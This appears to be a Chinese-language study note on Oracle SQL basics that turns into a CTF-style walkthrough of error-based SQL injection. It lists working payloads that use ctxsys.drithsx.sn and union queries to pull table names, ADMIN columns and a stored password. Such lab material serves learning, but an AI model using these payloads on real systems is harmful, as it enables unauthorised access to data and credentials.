Oracle数据库
一般大公司用的多,很贵,环境搭建复杂且大,数据库死板,非常讲究语法格式,区分大小写,数据类型很多。dual
虚表,专门用来满足oracle数据库严格的语法格式,为凑格式所存在。一般数据库强调库、表名、字段、内容,但Oracle
数据库种库被弱化,用户被强化,一个用户代表一个库。
dual表
- Dual是一个实表(也有人说它是虚表),如果你直接查询它,它只显示一个
X
,列名为DUMMY
,那么要它有什么用呢? - 它实际上是为了满足查询语句的结构而产生,你想查询你的用户名
select user from Dual
,调用系统函数:(获得随机值:select dbms_random.random from dual
),还能做加减法:select 9+1 from dual
数据库语句
-
select * from all_tables
查询出所有的表
select * from user_tables
查询出当前用户的表 -
select*from all_tab_columns
查询出所有的字段
select*from user_tab_columns
查询出当前用户的字段 -
select*from v$version
查版本 -
limit
是mysql
数据库特有的,mssql、access
数据库利用top
实现分页的功能,oracle
数据库利用rownum
实现分页。 -
rownum=1
(限制查询返回的总行数为一条)
对于rownum
来说,它是oracle
系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1
,第二行是2
,依此类推,这个伪字段可以用于限制查询返回的总行数。我们可以用rownum < 3
来要求他输出2
条数据,不能使用rownum=2
,因为它是根据结果进行浮动的。 -
取结果第二行的方法【实现
limit
的功能】:
- 不等于法
rownum=1 and column_name<>'UNAME'
- 重命名法【别名只能用于字段名,不能表名】
select *from
(select column_name,rownum n from user_tab_columns where table_name='ADMIN')
where n=2 //其中n为别名
报错注入函数解析
CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)) //查询数据库版本
为什么需要1=?
因为Oracle
的语言严谨,where
后面跟的都是条件,单独的字符串不能作为条件,比较才能作为条件,存在的字段名等于这个字符串也可以作为条件。
练习
?id=1 and 1=2
回显错误,说明存在sql注入。
- 使用
?id=1 order by 4
猜测字段数为4。
?id=1 union all select null,null,null,null from dual
回显正常。?id=1 union all select 1,null,null,null from dual
查看1无回显,说明此处不是回显点。
、/?id=1 union all select 1,null,null,4 from dual
回显出时间戳,说明为4回显点。
- 到这,我们可以有四种思路:盲注、报错注入、转化类型、通过甘薯对字符串的处理转化为数字在第四个注入点回显【切割字符串,转数字然后看回显】。
- 我们主要尝试报错注入。
- 使用
?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))
获得第一条数据。
?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'))
获得第二条数据。
10.?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN' and table_name<>'NEWS'))
获得第三条数据。
?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from(select column_name,rownum n from user_tab_columns where table_name='ADMIN') where n=1))
获得ADMIN表中的第一个列名UNAME。
?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from(select column_name,rownum n from user_tab_columns where table_name='ADMIN') where n=2))
获得ADMIN表中的第二个列名UASS。?id=1 and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum n from ADMIN)where n=2))
获得正确的flag。